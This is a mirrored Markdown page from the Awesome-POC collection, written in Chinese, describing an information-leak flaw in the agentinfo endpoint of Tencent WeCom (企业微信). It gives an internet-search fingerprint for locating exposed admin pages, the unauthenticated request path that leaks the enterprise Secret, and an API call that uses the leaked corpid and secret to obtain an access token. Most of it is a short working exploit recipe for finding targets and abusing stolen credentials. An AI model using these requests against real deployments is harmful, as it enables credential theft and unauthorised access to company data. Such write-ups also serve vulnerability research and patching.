mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
37 lines
611 B
Markdown
37 lines
611 B
Markdown
# 腾讯 企业微信 agentinfo 信息泄漏漏洞
|
|
|
|
## 漏洞描述
|
|
|
|
腾讯 企业微信 agentinfo 接口存在信息泄漏漏洞，攻击者通过漏洞可以获取企业微信 Secret
|
|
|
|
## 漏洞影响
|
|
|
|
腾讯 企业微信
|
|
|
|
## 网络测绘
|
|
|
|
```
|
|
web.body="wework_admin.normal_layout"
|
|
```
|
|
|
|
## 漏洞复现
|
|
|
|
登陆页面
|
|
|
|
|
|
|
|
验证POC
|
|
|
|
```
|
|
/cgi-bin/gateway/agentinfo
|
|
```
|
|
|
|
|
|
|
|
获取Token
|
|
|
|
```
|
|
https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=<YOUR_CORPID>&corpsecret=<YOUR_CORPSECRET>
|
|
```
|
|
|